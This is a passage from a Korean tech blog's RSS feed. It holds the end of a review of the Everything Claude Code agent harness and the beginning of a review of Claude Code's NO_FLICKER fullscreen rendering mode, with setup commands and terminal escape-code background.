&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;r/ClaudeCode 커뮤니티에서 가장 많이 제기되는 비판이다. &quot;997개 내부 테스트, 멀티 언어 규칙 아키텍처, 내장 오케스트레이션 엔진을 갖춘 설정 프레임워크는 대부분의 팀에게는 과도하다&quot;는 의견이 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://medium.com/@tentenco/everything-claude-code-inside-the-82k-star-agent-harness-thats-dividing-the-developer-community-4fe54feccbc1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Ewan Mak, Medium&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;스타 수 대비 실제 사용률&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;npm 패키지 &lt;code&gt;ecc-universal&lt;/code&gt;의 최근 한 달 다운로드 수는 7,565회(2026-03-03~2026-04-01 npm API 기준)로, GitHub 스타 수에 비해 여전히 차이가 있다. 이는 많은 사용자가 저장소를 직접 클론하거나 수동 복사 방식으로 사용하는 영향일 수 있지만, 관심 대비 실제 설치 전환율을 해석할 때는 신중할 필요가 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;컨텍스트 윈도우 부담&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;151개 스킬, 36개 에이전트, 68개 엔트리의 방대한 표면적은 컨텍스트 윈도우를 빠르게 소모할 수 있다. ECC 공식 문서에서도 &quot;200K 컨텍스트가 70K로 줄어들 수 있다&quot;고 경고하며, 프로젝트당 필요한 것만 활성화할 것을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;균형 잡힌 접근&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC 제작자 본인도 &quot;설정은 거대한 아키텍처 설계가 아니라, 미세 조정의 관점으로 접근하라&quot;고 반복 강조한다. 모든 기능을 한 번에 설치하기보다, 주 사용 언어의 에이전트와 스킬부터 선택적으로 시작하는 것이 현실적이다. README를 AI에게 주고 &quot;내 환경에 맞게 설정해줘&quot;라고 요청하는 것도 좋은 방법이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Everything Claude Code는 단순한 설정 파일 모음이 아니라, AI 코딩 에이전트를 위한 &lt;b&gt;종합 하네스 시스템&lt;/b&gt;이다. &quot;설정은 거대한 아키텍처가 아니라 미세 조정&quot;이라는 제작자의 철학대로, 필요한 구성요소만 선택적으로 도입하는 것이 핵심이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;통합 시스템:&lt;/b&gt; 에이전트 + 스킬 + 명령어 + 훅 + 규칙이 유기적 피드백 루프로 동작&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;크로스 플랫폼:&lt;/b&gt; Claude Code, Codex, Cursor, OpenCode를 중심으로 Antigravity와 Gemini CLI(실험적)까지 문서화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;실전 검증:&lt;/b&gt; Anthropic 해커톤 우승 + 10개월 이상 집중 사용 노하우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;보안 내장:&lt;/b&gt; AgentShield 스캐너 + 종합 보안 가이드 + CVE 대응&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;자가 학습:&lt;/b&gt; Continuous Learning v2로 세션에서 패턴을 학습하여 스킬로 진화&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code를 사용 중이라면 ECC의 3대 가이드(Shortform &amp;rarr; Longform &amp;rarr; Security) 순서로 읽어보는 것을 권장한다. 처음 접하는 경우 Shortform Guide부터 시작하여 전체 구조를 파악한 뒤, 자신의 주 사용 언어에 맞는 에이전트와 스킬을 선택적으로 설치하는 것이 효과적이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;다음 단계 체크리스트&lt;/b&gt;&lt;br /&gt;
&lt;ol style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Shortform Guide 읽기 (약 15분)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude Code에 ECC 플러그인 설치 또는 &lt;code&gt;npx ecc [언어]&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/plan&lt;/code&gt; 명령어로 현재 프로젝트에서 테스트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;보안 점검: &lt;code&gt;npx ecc-agentshield scan&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;(선택) Longform Guide로 고급 패턴 학습&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;시작하기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 간단한 방법: Claude Code에서 &lt;code&gt;/plugin marketplace add affaan-m/everything-claude-code&lt;/code&gt;를 실행한다. 또는 &lt;code&gt;npx ecc typescript&lt;/code&gt;로 npm을 통해 설치할 수 있다.&lt;br /&gt;공식 저장소: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/affaan-m/everything-claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/affaan-m/everything-claude-code&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;참고 자료&lt;/h4&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/affaan-m/everything-claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Everything Claude Code GitHub&lt;/a&gt; &amp;mdash; 공식 저장소&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://ecc.tools&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ecc.tools&lt;/a&gt; &amp;mdash; 공식 웹사이트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://medium.com/@joe.njenga/everything-claude-code-the-repo-that-won-anthropic-hackathon-33b040ba62f3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Medium: The Repo That Won Anthropic Hackathon&lt;/a&gt; &amp;mdash; Joe Njenga&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://blog.devgenius.io/the-claude-code-setup-that-won-a-hackathon-a75a161cd41c&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Dev Genius: The Claude Code setup that won a hackathon&lt;/a&gt; &amp;mdash; JP Caparas&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/affaan-m/agentshield&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AgentShield GitHub&lt;/a&gt; &amp;mdash; 보안 스캐너&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;2026년 4월 3일 기준으로 재검증한 정보. 프로젝트가 빠르게 발전 중이므로, 최신 내용은 공식 저장소와 Claude Code 공식 문서를 함께 확인하는 것이 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/하네스 엔지니어링</category>
      <category>AgentShield</category>
      <category>AI 에이전트</category>
      <category>claude code</category>
      <category>ecc</category>
      <category>Everything Claude Code</category>
      <category>서브에이전트</category>
      <category>에이전트 하네스</category>
      <category>워크플로우 스킬</category>
      <category>코딩 자동화</category>
      <category>토큰 최적화</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/575</guid>
      <comments>https://goddaehee.tistory.com/575#entry575comment</comments>
      <pubDate>Fri, 3 Apr 2026 01:26:17 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code NO_FLICKER(깜빡임 없는 풀스크린 렌더링 모드) 리뷰 : 화면 깜빡임과 스크롤 점프가 정말 사라질까</title>
      <link>https://goddaehee.tistory.com/574</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div
  style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div
  style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
  &lt;!-- 도입부 --&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 Claude Code의 새로운 풀스크린 렌더링 모드, &lt;b&gt;NO_FLICKER&lt;/b&gt;를 리뷰한다.&lt;/p&gt;
  &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2218&quot; data-origin-height=&quot;1472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btLaER/dJMcaiQjKkT/Y1WSbwhHUiktELcBbBFc40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btLaER/dJMcaiQjKkT/Y1WSbwhHUiktELcBbBFc40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btLaER/dJMcaiQjKkT/Y1WSbwhHUiktELcBbBFc40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtLaER%2FdJMcaiQjKkT%2FY1WSbwhHUiktELcBbBFc40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2218&quot; height=&quot;1472&quot; data-origin-width=&quot;2218&quot; data-origin-height=&quot;1472&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 목차 박스 --&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 12px 0; font-weight: bold; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
    &lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;소개 &amp;mdash; 터미널
          깜빡임, 왜 문제인가&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;활성화 방법 &amp;mdash;
          설치와 설정&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;핵심 기능 상세
          &amp;mdash; 무엇이 달라지는가&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;기술 아키텍처 분석
          &amp;mdash; 렌더링 파이프라인&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;소스코드 핵심 분석
          &amp;mdash; 렌더러 내부 구조&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;활용법 &amp;mdash; 마우스
          지원과 단축키&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7&quot;&gt;실전 사용 예시
          &amp;mdash; 구체적 시나리오&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section8&quot;&gt;트레이드오프 상세
          &amp;mdash; 무엇을 잃는가&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section9&quot;&gt;제한사항 및 주의사항&lt;/a&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section10&quot;&gt;트러블슈팅 Q&amp;amp;A
          + 결론&lt;/a&gt;&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/div&gt;
  &lt;!-- 요약 콜아웃 --&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 8px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;이 글의 핵심 요약&lt;/p&gt;
    &lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;b&gt;CLAUDE_CODE_NO_FLICKER=1&lt;/b&gt; 환경변수 하나로 활성화&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;Alternate screen buffer + Viewport 가상화로 깜빡임 근본 제거&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;마우스 지원, 단축키 스크롤, Transcript 모드 포함&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;tmux -CC 환경 제외 대부분의 시나리오에서 켜는 것이 이득&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;2026년 4월 2일 기준 research preview (v2.1.88+)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;!-- 섹션 1 --&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h2 id=&quot;section1&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 소개 &amp;mdash; 터미널 깜빡임, 왜 문제인가&lt;/b&gt;&lt;/h2&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code를 VS Code 통합 터미널이나 tmux에서 사용하다 보면, 도구 출력이 스트리밍되는 동안 화면이 깜빡이거나 스크롤 위치가 맨 위로 점프하는
    현상을 경험한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;GitHub Issues에서 관련 이슈가 총 1,300건 이상의 업보트를 받았다 (Issue #3648: 694, #1913: 315, #769: 291,
    2026-04-02 GitHub API 기준). 9개월간 미해결이었던 이 문제가 2026년 4월, NO_FLICKER 모드로 해결되었다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
    &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 12px 0; font-weight: 700; color: #1a3a52;&quot;&gt;실제 사용자 화면 사례&lt;/p&gt;
    &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 16px 0;&quot;&gt;아래 영상들은 NO_FLICKER가 도입되기 전 실제 사용자가 올린 재현 사례다. VS Code 통합 터미널, Cursor, WSL/Windows Terminal처럼 이슈가 자주 보고된 환경을 중심으로 골랐다.&lt;/p&gt;
    &lt;div style=&quot;background-color: #ffffff; border: 1px solid #d9e8ff; border-radius: 10px; padding: 16px; margin: 18px 0;&quot;&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 8px 0; font-weight: 700;&quot;&gt;사례 1. 도구 실행 중 화면 깜빡임&lt;/p&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 8px 0;&quot;&gt;Claude가 작업을 수행하는 동안 터미널 전체가 반복적으로 다시 그려지는 장면을 보여주는 대표 사례다.&lt;/p&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0; font-size: 13px; color: #666;&quot;&gt;출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/769&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;GitHub Issue #769&lt;/a&gt; &amp;mdash; &lt;a href=&quot;https://github.com/user-attachments/assets/9da196e7-a1df-4fe3-bb6b-1cf7fe20add6&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;영상 원본 보기&lt;/a&gt;&lt;/p&gt;
    &lt;/div&gt;
    &lt;div style=&quot;background-color: #ffffff; border: 1px solid #d9e8ff; border-radius: 10px; padding: 16px; margin: 18px 0;&quot;&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 8px 0; font-weight: 700;&quot;&gt;사례 2. VS Code 터미널, macOS 재현&lt;/p&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 8px 0;&quot;&gt;VS Code 터미널 환경에서 다시 발생한 깜빡임 사례로, 스크롤백이 흔들리듯 다시 보이는 현상을 확인할 수 있다.&lt;/p&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0; font-size: 13px; color: #666;&quot;&gt;출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/392#issuecomment-2970234466&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;GitHub Issue #392 댓글&lt;/a&gt; &amp;mdash; &lt;a href=&quot;https://github.com/user-attachments/assets/46e7c9cf-8bc8-4c86-b950-9cf1b8867569&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;영상 원본 보기&lt;/a&gt;&lt;/p&gt;
    &lt;/div&gt;
    &lt;div style=&quot;background-color: #ffffff; border: 1px solid #d9e8ff; border-radius: 10px; padding: 16px; margin: 18px 0 0 0;&quot;&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 8px 0; font-weight: 700;&quot;&gt;사례 3. 장시간 세션에서의 Terminal Flickering&lt;/p&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 8px 0;&quot;&gt;대화가 길어졌을 때 깜빡임이 심해지는 패턴을 보여주는 보고다. 여러 사용자들이 같은 이슈에 합류했다.&lt;/p&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0; font-size: 13px; color: #666;&quot;&gt;출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/1913&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;GitHub Issue #1913&lt;/a&gt; &amp;mdash; &lt;a href=&quot;https://github.com/user-attachments/assets/00d2711a-1113-433c-a542-652ad3f5ce06&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;영상 원본 보기&lt;/a&gt;&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;근본 원인은 ANSI escape code의 구조적 한계에 있다. 터미널 UI 프로그램은 ANSI escape code로 커서를 이동(CSI n;m H)하고 텍스트를
    그린다. 문제는 viewport 밖의 행을 다시 그리는 ANSI 코드가 존재하지 않는다는 점이다. 화면을 갱신하려면 CSI 2J(Erase in Display)로 전체 화면을 지우고 다시 그려야 한다
    &amp;mdash; 이것이 flickering의 근본 원인이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서는 NO_FLICKER 모드의 활성화 방법, 작동 원리, 트레이드오프, tmux 호환성, 소스코드 구조까지 다룬다. 2026년 4월 2일 기준, 공식 문서와
    소스코드를 근거로 작성했다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 2 --&gt;
  &lt;h2 id=&quot;section2&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 활성화 방법 &amp;mdash; 설치와 설정&lt;/b&gt;&lt;/h2&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;NO_FLICKER(Fullscreen rendering)는 opt-in research preview이며, &lt;b&gt;Claude Code v2.1.88 이상&lt;/b&gt;이
    필요하다. CHANGELOG에서는 v2.1.89(2026-04-01)에 해당 기능이 추가된 것으로 기록되어 있으며, 공식 문서는 v2.1.88+로 표기한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.1 일회성 실행
  &lt;/h3&gt;
  &lt;pre class=&quot;ini&quot;
    style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot;
    data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;CLAUDE_CODE_NO_FLICKER=1 claude&lt;/code&gt;&lt;/pre&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.2 영구 설정
  &lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;셸 프로파일(&lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;~/.zshrc&lt;/code&gt;
    또는 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;~/.bashrc&lt;/code&gt;)에
    다음을 추가한다:&lt;/p&gt;
  &lt;pre class=&quot;routeros&quot;
    style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot;
    data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;export CLAUDE_CODE_NO_FLICKER=1&lt;/code&gt;&lt;/pre&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.3 비활성화
  &lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_NO_FLICKER=0&lt;/code&gt;으로
    설정하거나 환경변수를 해제한다.&lt;/p&gt;
  &lt;!-- 섹션 3 --&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h2 id=&quot;section3&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 핵심 기능 상세 &amp;mdash; 무엇이 달라지는가&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.1
    Alternate Screen Buffer&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;Fullscreen rendering은 터미널의 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://en.wikipedia.org/wiki/ANSI_escape_code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;alternate screen buffer&lt;/a&gt;에
    인터페이스를 그린다. vim이나 htop처럼 동작하는 방식이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;ANSI escape code CSI ?1049h로 alternate screen buffer를 활성화하고, CSI ?1049l로 비활성화한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;전통적인 CLI 도구들(vim, htop 등)이 사용하는 동일한 기법으로, 터미널의 scrollback을 보존하면서 별도 버퍼에서 작업한 뒤 종료 시 원래 화면으로
    복원한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&quot;fullscreen&quot;이라는 용어는 터미널 창 최대화와 무관하다. vim처럼 터미널의 drawing surface를 인수하는 것을 의미하며, 어떤 창 크기에서도
    동작한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.2 뷰포트
